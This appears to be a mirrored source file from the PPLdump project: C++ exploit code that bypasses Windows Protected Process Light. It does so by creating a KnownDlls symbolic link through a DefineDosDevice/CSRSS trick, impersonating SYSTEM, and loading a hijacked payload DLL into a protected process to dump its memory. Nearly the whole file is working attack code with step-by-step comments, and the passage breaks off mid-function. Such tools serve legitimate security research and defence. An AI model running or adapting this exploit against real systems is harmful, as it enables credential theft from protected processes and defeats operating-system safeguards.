mirror of
https://github.com/itm4n/PPLdump
synced 2026-06-08 14:54:06 +00:00
1255 lines
36 KiB
C++
1255 lines
36 KiB
C++
#include "exploit.h"
|
|
|
|
_Success_(return)
|
|
BOOL DumpProcess(_In_ DWORD dwProcessId, _In_ LPWSTR pwszFilePath)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
BOOL bCurrentUserIsSystem = FALSE;
|
|
HANDLE hSystemToken = NULL;
|
|
BOOL bImpersonationActive = FALSE;
|
|
|
|
// STEP 1
|
|
LPCWSTR pwszKnownDllsObjDir = L"\\GLOBAL??\\KnownDlls";
|
|
HANDLE hKnownDllsObjDir = NULL;
|
|
|
|
// STEP 2
|
|
LPWSTR pwszDllToHijack = NULL;
|
|
LPWSTR pwszDllLinkName = NULL;
|
|
HANDLE hDllLink = NULL;
|
|
SECURITY_DESCRIPTOR sd = { 0 };
|
|
SECURITY_ATTRIBUTES sa = { 0 };
|
|
|
|
// STEP 3
|
|
LPCWSTR pwszFakeGlobalrootLinkName = L"\\??\\GLOBALROOT";
|
|
LPCWSTR pwszFakeGlobalrootLinkTarget = L"\\GLOBAL??";
|
|
HANDLE hFakeGlobalrootLink = NULL;
|
|
HANDLE hLocalServiceToken = NULL;
|
|
|
|
// STEP 4
|
|
LPWSTR pwszDosDeviceName = NULL;
|
|
LPWSTR pwszDosDeviceTargetPath = NULL;
|
|
|
|
// STEP 5
|
|
LPWSTR pwszSectionName = NULL;
|
|
HANDLE hDllSection = NULL;
|
|
|
|
// STEP 6
|
|
LPWSTR pwszCommandLine = NULL;
|
|
HANDLE hCurrentToken = NULL;
|
|
HANDLE hNewProcessToken = NULL;
|
|
HANDLE hNewProcess = NULL;
|
|
DWORD dwExitCode = 0;
|
|
|
|
// SYNCHRONIZATION
|
|
HANDLE hEventDllLoaded = NULL, hEventDumpSuccess = NULL;
|
|
BOOL bDllLoaded = FALSE, bDumpSuccess = FALSE;
|
|
WCHAR wszEventName[MAX_PATH] = { 0 };
|
|
LPWSTR pwszGuid = NULL;
|
|
DWORD dwWait = 0;
|
|
|
|
PrintDebug(L"Check requirements\n", bCurrentUserIsSystem);
|
|
|
|
if (!CheckRequirements())
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] Requirements OK\n");
|
|
|
|
PrintDebug(L"Get the name of the DLL to hijack\n");
|
|
|
|
if (!GetHijackableDllName(&pwszDllToHijack))
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] DLL to hijack: %ws\n", pwszDllToHijack);
|
|
|
|
if (!IsCurrentUserSystem(&bCurrentUserIsSystem))
|
|
goto end;
|
|
|
|
if (g_bDebug)
|
|
PrintVerbose(L"[*] Current user is SYSTEM? -> %ws\n", bCurrentUserIsSystem ? L"TRUE" : L"FALSE");
|
|
|
|
|
|
//
|
|
// 1. Create the object directory '\GLOBAL??\KnownDlls'.
|
|
//
|
|
// When executed as an administrator, this fails (access denied). Thanks to WinObj, we can
|
|
// see that Administrators do have the "Add Object" right but the corresponding ACE applies
|
|
// to child objects only, which means that they cannot add objects in the directory
|
|
// '\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will
|
|
// search for SYSTEM tokens among the running processes and steal one. This requires both
|
|
// SeImpersonatePrivilege and SeDebugPrivilege.
|
|
// Note: as long as the object is not marked as "permanent", we do not need to remove it
|
|
// manually. When we close the last handle, the object is removed automatically.
|
|
//
|
|
if (!bCurrentUserIsSystem)
|
|
{
|
|
if (!ImpersonateSystem(&hSystemToken))
|
|
goto end;
|
|
|
|
bImpersonationActive = TRUE;
|
|
|
|
PrintVerbose(L"[*] Impersonating SYSTEM...\n");
|
|
}
|
|
|
|
PrintDebug(L"Create object directory '%ws'...\n", pwszKnownDllsObjDir);
|
|
|
|
if (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir)))
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] Created Object Directory: '%ws'\n", pwszKnownDllsObjDir);
|
|
|
|
|
|
//
|
|
// 2. Create a symlink in '\GLOBAL??\KnownDlls\' with the name of a DLL to hijack. The target
|
|
// of the link doesn't matter.
|
|
//
|
|
// The next steps will allow us to trick the CSRSS service into opening the symbolic link
|
|
// '\GLOBAL??\KnownDlls\FOO.dll' instead of '\KnownDlls\FOO.dll' while impersonating the
|
|
// caller. That's why we need to create this symbolic link beforehand. As the service will
|
|
// just open the object itself, its target does not matter.
|
|
//
|
|
pwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
|
|
if (!pwszDllLinkName)
|
|
goto end;
|
|
|
|
StringCchPrintf(pwszDllLinkName, MAX_PATH, L"%ws\\%ws", pwszKnownDllsObjDir, pwszDllToHijack);
|
|
|
|
PrintDebug(L"Create symbolic link '%ws'...\n", pwszDllLinkName);
|
|
|
|
if (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, L"foo123")))
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] Created Symbolic link: '%ws'\n", pwszDllLinkName);
|
|
|
|
|
|
//
|
|
// 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT'
|
|
// pointing to '\GLOBAL??'
|
|
//
|
|
// The idea here is to create a "fake" GLOBALROOT that will point to a location we control
|
|
// because, at step 4, the CSRSS service will try to open '\??\GLOBALROOT\...' while
|
|
// impersonating the caller. '\??' represents the current user's DOS device directory. For
|
|
// SYSTEM, '\??' points to '\GLOBAL??' so '\??\GLOBALROOT' is '\GLOBAL??\GLOBALROOT', which
|
|
// is the actual GLOBALROOT. Therefore the trick would not work.
|
|
// However, for users other than SYSTEM, '\??' points to a dedicated DOS device directory
|
|
// such as '\Sessions\0\DosDevices\00000000-XXXXXXXX'. Therefore, we can create a fake
|
|
// GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so
|
|
// that '\Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT' -> '\GLOBAL??',
|
|
// '\??\GLOBALROOT' will actually point to '\GLOBAL??' instead of '\GLOBAL??\GLOBALROOT' in
|
|
// our context.
|
|
// To summarize:
|
|
// - If SYSTEM: '\??\GLOBALROOT' -> ''
|
|
// - Else: '\??\GLOBALROOT' -> '\GLOBAL??' (because of our symbolic link)
|
|
// Which means that:
|
|
// - If SYSTEM: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\KnownDlls\FOO.DLL'
|
|
// - Else: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\GLOBAL??\KnownDlls\FOO.DLL'
|
|
//
|
|
// So, at this step, we need to:
|
|
// - revert to self if we impersonated SYSTEM as an administrator;
|
|
// - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM.
|
|
//
|
|
if (bCurrentUserIsSystem)
|
|
{
|
|
//
|
|
// If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the
|
|
// the impersonated user will not have sufficient access on the symbolic link we just
|
|
// created and the DefineDosDevice call will fail with an "Access Denied" error. Therefore
|
|
// we need to edit the ACL of the object first.
|
|
//
|
|
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
|
|
#pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here
|
|
SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);
|
|
|
|
sa.nLength = sizeof(sa);
|
|
sa.bInheritHandle = FALSE;
|
|
sa.lpSecurityDescriptor = &sd;
|
|
|
|
PrintDebug(L"Set a NULL DACL on '%ws'\n", pwszDllLinkName);
|
|
|
|
if (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd))
|
|
{
|
|
PrintLastError(L"SetKernelObjectSecurity");
|
|
goto end;
|
|
}
|
|
|
|
if (!ImpersonateLocalService(&hLocalServiceToken))
|
|
goto end;
|
|
|
|
bImpersonationActive = TRUE;
|
|
|
|
PrintVerbose(L"[*] Impersonating LOCAL SERVICE...\n");
|
|
}
|
|
else
|
|
{
|
|
if (!RevertToSelf())
|
|
goto end;
|
|
|
|
bImpersonationActive = FALSE;
|
|
}
|
|
|
|
PrintDebug(L"Create symbolic link '%ws -> %ws'...\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);
|
|
|
|
if (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget)))
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] Created symbolic link: '%ws -> %ws'\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);
|
|
|
|
//
|
|
// 4. Call DefineDosDevice specifying a device name of "GLOBALROOT\KnownDlls\FOO.DLL" and a target
|
|
// path of a location that the user can create section objects inside.
|
|
//
|
|
// This still need to be executed as a user other than SYSTEM, so that all the symbolic links
|
|
// are properly followed. This is the "fun" part. DefineDosDevice actually results in an RPC
|
|
// call to the CSRSS service. On server side, here is how the device name will be interpreted:
|
|
// a. it receives the device name as the second argument;
|
|
// >>> GLOBALROOT\KnownDlls\FOO.DLL
|
|
// b. it will first prepend it with '\??\';
|
|
// >>> \??\GLOBALROOT\KnownDlls\FOO.DLL
|
|
// c. it will try to open the symbolic link while impersonating the client, the call succeeds
|
|
// because we control this symlink (step 1)
|
|
// >>> \GLOBAL??\KnownDlls\FOO.DLL (\??\GLOBALROOT -> \GLOBAL??)
|
|
// d. it checks whether the path starts with \GLOBAL??\ to determine if it's global;
|
|
// e. as it does, it rewrites the path and prepends it with '\GLOBAL??\', considers the link
|
|
// as global and disables impersonation;
|
|
// >>> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.DLL
|
|
// f. but \GLOBAL??\GLOBALROOT, which is the real GLOBALROOT
|
|
// >>> \KnownDlls\FOO.DLL
|
|
// g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore
|
|
// creates a symlink inside '\KnownDlls\' with an arbitrary name and an arbitrary target
|
|
// path.
|
|
//
|
|
// /!\ The purpose of the initial open operation is to delete the symlink and this is always
|
|
// done while impersonating the user. Therefore we won't be able to delete the symlink
|
|
// that was created in \KnownDlls\. We will have to remove it once we are running code
|
|
// inside a PPL with WinTCB level.
|
|
//
|
|
pwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
|
|
pwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
|
|
|
|
if (!pwszDosDeviceName || !pwszDosDeviceTargetPath)
|
|
goto end;
|
|
|
|
StringCchPrintf(pwszDosDeviceName, MAX_PATH, L"GLOBALROOT\\KnownDlls\\%ws", pwszDllToHijack);
|
|
//StringCchPrintf(pwszDosDeviceTargetPath, MAX_PATH, L"\\BaseNamedObjects\\%ws", pwszDllToHijack);
|
|
StringCchPrintf(pwszDosDeviceTargetPath, MAX_PATH, L"\\KernelObjects\\%ws", pwszDllToHijack);
|
|
|
|
PrintDebug(L"Call DefineDosDevice to create '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath);
|
|
|
|
if (!DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath))
|
|
{
|
|
PrintLastError(L"DefineDosDevice");
|
|
if (!g_bForce || GetLastError() != ERROR_ALREADY_EXISTS)
|
|
goto end;
|
|
}
|
|
|
|
PrintVerbose(L"[*] DefineDosDevice OK\n", pwszDllToHijack, pwszDosDeviceTargetPath);
|
|
|
|
//
|
|
// Make sure the link was really created as a consequence of the DefineDosDevice call. But
|
|
// first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again.
|
|
//
|
|
if (bCurrentUserIsSystem)
|
|
{
|
|
if (!RevertToSelf())
|
|
{
|
|
PrintLastError(L"RevertToSelf");
|
|
goto end;
|
|
}
|
|
|
|
bImpersonationActive = FALSE;
|
|
}
|
|
else
|
|
{
|
|
PrintDebug(L"Impersonate SYSTEM again\n");
|
|
|
|
if (!Impersonate(hSystemToken))
|
|
goto end;
|
|
|
|
bImpersonationActive = TRUE;
|
|
|
|
PrintVerbose(L"[*] Impersonating SYSTEM...\n");
|
|
}
|
|
|
|
PrintDebug(L"Check whether the symbolic link was really created in '\\KnownDlls\\'\n");
|
|
|
|
if (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath))
|
|
{
|
|
PrintVerbose(L"[-] The symbolic link '\\KnownDlls\\%ws' was not created.\n", pwszDllToHijack);
|
|
goto end;
|
|
}
|
|
|
|
PrintVerbose(L"[+] The symbolic link was successfully created: '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath);
|
|
|
|
|
|
//
|
|
// 5. Create the image section object at the target location for an arbitrary DLL.
|
|
//
|
|
// Final piece of the puzzle. Now that we have a symbolic link in \KnownDlls that points to
|
|
// an arbitrary location, we just have to create a new Section at this location and map our
|
|
// payload DLL.
|
|
//
|
|
pwszSectionName = pwszDosDeviceTargetPath;
|
|
|
|
PrintDebug(L"Map our DLL to section '%ws'\n", pwszSectionName);
|
|
|
|
if (!MapDll(pwszSectionName, &hDllSection))
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] Mapped payload DLL to: '%ws'\n", pwszSectionName);
|
|
|
|
//
|
|
// Prepare synchronization objects.
|
|
//
|
|
MiscGenerateGuidString(&pwszGuid);
|
|
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DLL_LOADED", pwszGuid);
|
|
if (!(hEventDllLoaded = CreateEvent(NULL, TRUE, FALSE, wszEventName)))
|
|
PrintLastError(L"CreateEvent");
|
|
StringCchPrintf(wszEventName, MAX_PATH, L"Global\\%ws_DUMP_SUCCESS", pwszGuid);
|
|
if (!(hEventDumpSuccess = CreateEvent(NULL, TRUE, FALSE, wszEventName)))
|
|
PrintLastError(L"CreateEvent");
|
|
|
|
//
|
|
// 6. Create a PPL process and hijack one of the DLLs it tries to load
|
|
//
|
|
// First we need to prepare the command line that we are going to execute. The ID of the
|
|
// target process to dump and the path of the dump file should respectively be passed as the
|
|
// first and second argument.
|
|
// Then we need to get a SYSTEM token to start our new process. If the current process was
|
|
// started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to
|
|
// copy the current thread's token.
|
|
// Finally, we can start our protected process with the prepared command line and the
|
|
// duplicated token.
|
|
//
|
|
if (!PrepareCommandLine(dwProcessId, pwszFilePath, pwszGuid, &pwszCommandLine))
|
|
goto end;
|
|
|
|
if (bCurrentUserIsSystem)
|
|
{
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken))
|
|
{
|
|
PrintLastError(L"OpenProcessToken");
|
|
goto end;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken))
|
|
{
|
|
PrintLastError(L"OpenThreadToken");
|
|
goto end;
|
|
}
|
|
}
|
|
|
|
PrintDebug(L"Enable privilege %ws\n", SE_ASSIGNPRIMARYTOKEN_NAME);
|
|
|
|
if (!TokenCheckPrivilege(hCurrentToken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE))
|
|
goto end;
|
|
|
|
PrintDebug(L"Create a primary token\n");
|
|
|
|
if (!DuplicateTokenEx(hCurrentToken, MAXIMUM_ALLOWED, NULL, SecurityAnonymous, TokenPrimary, &hNewProcessToken))
|
|
{
|
|
PrintLastError(L"DuplicateTokenEx");
|
|
goto end;
|
|
}
|
|
|
|
PrintDebug(L"Create protected process with command line: %ws\n", pwszCommandLine);
|
|
|
|
if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &hNewProcess))
|
|
goto end;
|
|
|
|
PrintVerbose(L"[*] Started protected process, waiting...\n");
|
|
|
|
WaitForSingleObject(hNewProcess, INFINITE);
|
|
|
|
bDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0;
|
|
bDumpSuccess = WaitForSingleObject(hEventDumpSuccess, 100) == WAIT_OBJECT_0;
|
|
|
|
PrintDebug(L"Unmap section '%ws'...\n", pwszSectionName);
|
|
|
|
UnmapDll(hDllSection);
|
|
|
|
if (!GetExitCodeProcess(hNewProcess, &dwExitCode))
|
|
{
|
|
PrintLastError(L"GetExitCodeProcess");
|
|
goto end;
|
|
}
|
|
|
|
PrintDebug(L"Process exit code: %d\n", dwExitCode);
|
|
|
|
if (dwExitCode != 0)
|
|
wprintf(L"[!] Unexpected exit code: %d\n", dwExitCode);
|
|
|
|
bReturnValue = bDumpSuccess;
|
|
|
|
if (bDumpSuccess)
|
|
{
|
|
wprintf(L"[+] Dump successfull! :)\n");
|
|
}
|
|
else
|
|
{
|
|
if (bDllLoaded)
|
|
wprintf(L"[-] The DLL was loaded but something went wrong. :/\n");
|
|
else
|
|
wprintf(L"[-] The DLL was not loaded. :/\n");
|
|
}
|
|
|
|
end:
|
|
if (bImpersonationActive)
|
|
RevertToSelf(); // If impersonation was active, drop it first
|
|
if (hEventDllLoaded)
|
|
CloseHandle(hEventDllLoaded);
|
|
if (hEventDumpSuccess)
|
|
CloseHandle(hEventDumpSuccess);
|
|
if (pwszGuid)
|
|
LocalFree(pwszGuid);
|
|
if (hNewProcessToken)
|
|
CloseHandle(hNewProcessToken);
|
|
if (pwszCommandLine)
|
|
LocalFree(pwszCommandLine);
|
|
if (pwszDosDeviceName)
|
|
LocalFree(pwszDosDeviceName);
|
|
if (pwszDosDeviceTargetPath)
|
|
LocalFree(pwszDosDeviceTargetPath);
|
|
if (hDllLink)
|
|
CloseHandle(hDllLink);
|
|
if (pwszDllLinkName)
|
|
LocalFree(pwszDllLinkName);
|
|
if (hKnownDllsObjDir)
|
|
CloseHandle(hKnownDllsObjDir);
|
|
if (hLocalServiceToken)
|
|
CloseHandle(hLocalServiceToken);
|
|
if (hSystemToken)
|
|
CloseHandle(hSystemToken);
|
|
if (pwszDllToHijack)
|
|
LocalFree(pwszDllToHijack);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL DumpProcessByName(_In_ LPWSTR pwszProcessName, _In_ LPWSTR pwszFilePath)
|
|
{
|
|
DWORD dwProcessId = 0;
|
|
|
|
if (ProcessGetPIDFromName(pwszProcessName, &dwProcessId))
|
|
{
|
|
PrintVerbose(L"[*] Found a process with name '%ws' and PID %d\n", pwszProcessName, dwProcessId);
|
|
|
|
return DumpProcess(dwProcessId, pwszFilePath);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL CheckRequirements()
|
|
{
|
|
DWORD dwFailCount = 0;
|
|
HANDLE hProcessToken = NULL;
|
|
HANDLE hTargetProcess = NULL;
|
|
BOOL bIsSystem = FALSE;
|
|
DWORD dwProcessId = 0;
|
|
DWORD dwProcessProtectionLevel = 0;
|
|
LPWSTR pwszProcessProtectionName = NULL;
|
|
DWORD dwProcessIntegrityLevel = 0;
|
|
LPCWSTR ppwszRequiredPrivileges[2] = { SE_DEBUG_NAME, SE_IMPERSONATE_NAME };
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
|
|
{
|
|
dwFailCount++;
|
|
}
|
|
else
|
|
{
|
|
for (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++)
|
|
{
|
|
if (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE))
|
|
{
|
|
dwFailCount++;
|
|
wprintf(L"[-] A privilege is missing: %ws\n", SE_DEBUG_NAME);
|
|
}
|
|
}
|
|
|
|
CloseHandle(hProcessToken);
|
|
}
|
|
|
|
// Is SYSTEM or admin elevated?
|
|
IsCurrentUserSystem(&bIsSystem);
|
|
if (!bIsSystem)
|
|
{
|
|
if (!ProcessGetIntegrityLevel(GetCurrentProcessId(), &dwProcessIntegrityLevel))
|
|
{
|
|
dwFailCount++;
|
|
wprintf(L"[-] Failed to get process integrity level\n");
|
|
}
|
|
else
|
|
{
|
|
if (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID)
|
|
{
|
|
dwFailCount++;
|
|
wprintf(L"[-] Insufficient process integrity level\n");
|
|
}
|
|
}
|
|
}
|
|
|
|
// Check windows version >= 8.1
|
|
if (!IsWindows8Point1OrGreater())
|
|
{
|
|
dwFailCount++;
|
|
wprintf(L"[-] This version of Windows is not supported\n");
|
|
}
|
|
|
|
// Check if target dump file already exists
|
|
if (GetFileAttributes(g_pwszDumpFilePath) != INVALID_FILE_ATTRIBUTES)
|
|
{
|
|
dwFailCount++;
|
|
wprintf(L"[-] The target dump file '%ws' already exists\n", g_pwszDumpFilePath);
|
|
}
|
|
|
|
if (g_pwszProcessName != NULL)
|
|
{
|
|
if (!ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId))
|
|
{
|
|
dwFailCount++;
|
|
}
|
|
}
|
|
else if (g_dwProcessId != 0)
|
|
{
|
|
dwProcessId = g_dwProcessId;
|
|
}
|
|
|
|
// Make sure target process is a PPL
|
|
if (dwProcessId != 0)
|
|
{
|
|
if (!ProcessGetProtectionLevel(dwProcessId, &dwProcessProtectionLevel))
|
|
{
|
|
//dwFailCount++;
|
|
wprintf(L"[!] Failed to get the protection level of process with PID %d\n", dwProcessId);
|
|
}
|
|
else
|
|
{
|
|
ProcessGetProtectionLevelAsString(dwProcessId, &pwszProcessProtectionName);
|
|
|
|
PrintDebug(L"Target process protection level: %d - %ws\n", dwProcessProtectionLevel, pwszProcessProtectionName);
|
|
|
|
if (pwszProcessProtectionName)
|
|
LocalFree(pwszProcessProtectionName);
|
|
|
|
if (
|
|
dwProcessProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT &&
|
|
dwProcessProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT &&
|
|
dwProcessProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT &&
|
|
dwProcessProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT &&
|
|
dwProcessProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT &&
|
|
dwProcessProtectionLevel != PROTECTION_LEVEL_PPL_APP
|
|
)
|
|
{
|
|
wprintf(L"[-] Process with ID %d is not a PPL\n", dwProcessId);
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
dwFailCount++;
|
|
}
|
|
|
|
#if _WIN64
|
|
//
|
|
// A 64-bits executable cannot run on a 32-bits arch so no check is required here.
|
|
//
|
|
#elif _WIN32
|
|
//
|
|
// We need to make sure the system's arch is 32-bits as well because we embed only the x86 version
|
|
// of our payload DLL.
|
|
//
|
|
if (MiscSystemArchIsAmd64())
|
|
{
|
|
dwFailCount++;
|
|
wprintf(L"[-] This system architecture is not supported. Please use the 64-bits version instead.\n");
|
|
}
|
|
#else
|
|
dwFailCount++;
|
|
wprintf(L"[-] This system architecture is not supported.\n");
|
|
#endif
|
|
|
|
return dwFailCount == 0;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
HANDLE hProcessToken = NULL;
|
|
LPWSTR pwszStringSid = NULL;
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken))
|
|
{
|
|
PrintLastError(L"OpenProcessToken");
|
|
goto end;
|
|
}
|
|
|
|
if (!TokenGetSidAsString(hProcessToken, &pwszStringSid))
|
|
goto end;
|
|
|
|
*pbResult = _wcsicmp(pwszStringSid, L"S-1-5-18") == 0;
|
|
bReturnValue = TRUE;
|
|
|
|
end:
|
|
if (pwszStringSid)
|
|
LocalFree(pwszStringSid);
|
|
if (hProcessToken)
|
|
CloseHandle(hProcessToken);
|
|
|
|
return bReturnValue;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL GetHijackableDllName(_Out_ LPWSTR* ppwszDllName)
|
|
{
|
|
if (!ppwszDllName)
|
|
return FALSE;
|
|
|
|
*ppwszDllName = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));
|
|
if (!*ppwszDllName)
|
|
return FALSE;
|
|
|
|
if (IsWindows10OrGreater())
|
|
{
|
|
StringCchPrintf(*ppwszDllName, 64, L"%ws", DLL_TO_HIJACK_WIN10);
|
|
return TRUE;
|
|
}
|
|
|
|
if (IsWindows8Point1OrGreater())
|
|
{
|
|
StringCchPrintf(*ppwszDllName, 64, L"%ws", DLL_TO_HIJACK_WIN81);
|
|
return TRUE;
|
|
}
|
|
|
|
LocalFree(*ppwszDllName);
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
//_Success_(return)
|
|
//BOOL WritePayloadDll(_In_ LPWSTR pwszPath)
|
|
//{
|
|
// BOOL bReturnValue = FALSE;
|
|
//
|
|
// HRSRC hResource = NULL;
|
|
// HGLOBAL hResourceData = NULL;
|
|
// DWORD dwResourceSize = 0;
|
|
// LPVOID lpData = NULL;
|
|
//
|
|
// HANDLE hFile = NULL;
|
|
// DWORD dwBytesWritten = 0;
|
|
//
|
|
// if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))
|
|
// {
|
|
// PrintLastError(L"FindResource");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// if (!(dwResourceSize = SizeofResource(NULL, hResource)))
|
|
// {
|
|
// PrintLastError(L"SizeofResource");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// if (!(hResourceData = LoadResource(NULL, hResource)))
|
|
// {
|
|
// PrintLastError(L"LoadResource");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// if (!(lpData = LockResource(hResourceData)))
|
|
// {
|
|
// PrintLastError(L"LockResource");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// if ((hFile = CreateFile(pwszPath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
|
// {
|
|
// PrintLastError(L"CreateFile");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// if (!WriteFile(hFile, lpData, dwResourceSize, &dwBytesWritten, NULL))
|
|
// {
|
|
// PrintLastError(L"WriteFile");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// if (dwBytesWritten != dwResourceSize)
|
|
// {
|
|
// wprintf(L"[-] The embedded DLL was not correctly written to Disk\n");
|
|
// goto end;
|
|
// }
|
|
//
|
|
// bReturnValue = TRUE;
|
|
//
|
|
//end:
|
|
// if (hFile)
|
|
// CloseHandle(hFile);
|
|
//
|
|
// return bReturnValue;
|
|
//}
|
|
|
|
_Success_(return)
|
|
BOOL GetPayloadDll(_Out_ LPVOID * ppBuffer, _Out_ PDWORD pdwSize)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
HRSRC hResource = NULL;
|
|
HGLOBAL hResourceData = NULL;
|
|
DWORD dwResourceSize = 0;
|
|
LPVOID lpData = NULL;
|
|
|
|
if (!(hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA)))
|
|
{
|
|
PrintLastError(L"FindResource");
|
|
return FALSE;
|
|
}
|
|
|
|
if (!(dwResourceSize = SizeofResource(NULL, hResource)))
|
|
{
|
|
PrintLastError(L"SizeofResource");
|
|
return FALSE;
|
|
}
|
|
|
|
if (!(hResourceData = LoadResource(NULL, hResource)))
|
|
{
|
|
PrintLastError(L"LoadResource");
|
|
return FALSE;
|
|
}
|
|
|
|
if (!(lpData = LockResource(hResourceData)))
|
|
{
|
|
PrintLastError(L"LockResource");
|
|
return FALSE;
|
|
}
|
|
|
|
*ppBuffer = lpData;
|
|
*pdwSize = dwResourceSize;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
_Success_(return)
|
|
BOOL FindFileForTransaction(_In_ DWORD dwMinSize, _Out_ LPWSTR* ppwszFilePath)
|
|
{
|
|
BOOL bReturnValue = FALSE;
|
|
|
|
WCHAR wszSearchPath[MAX_PATH] = { 0 };
|
|
WCHAR wszFilePath[MAX_PATH] = { 0 };
|
|
WIN32_FIND_DATA wfd = { 0 };
|
|
HANDLE hFind = NULL;
|
|
|
|
HANDLE hFile = NULL;
|
|
PSID pSidOwner = NULL;
|
|
PSECURITY_DESCRIPTOR pSD = NULL;
|
|
DWORD dwFileSize = 0;
|
|
|
|
PSID pSidTarget = NULL;
|
|
|
|
ConvertStringSidToSid(L"S-1-5-18", &pSidTarget);
|
|
|
|
GetSystemDirectory(wszSearchPath, MAX_PATH); // C:\Windows\System32
|
|
StringCchCat(wszSearchPath, MAX_PATH, L"\\*.dll"); // C:\Windows\System32\*.dll
|
|
|
|
if ((hFind = FindFirstFileW(wszSearchPath, &wfd)) != INVALID_HANDLE_VALUE)
|
|
{
|
|
do
|
|
{
|
|
GetSystemDirectory(wszFilePath, MAX_PATH);
|
|
StringCchCat(wszFilePath, MAX_PATH, L"\\");
|
|
StringCchCat(wszFilePath, MAX_PATH, wfd.cFileName);
|
|
|
|
if (hFile = CreateFile(wszFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL))
|
|
{
|
|
dwFileSize = GetFileSize(hFile, NULL);
|
|
if (dwFileSize != INVALID_FILE_SIZE && dwFileSize > dwMinSize)
|
|
{
|
|
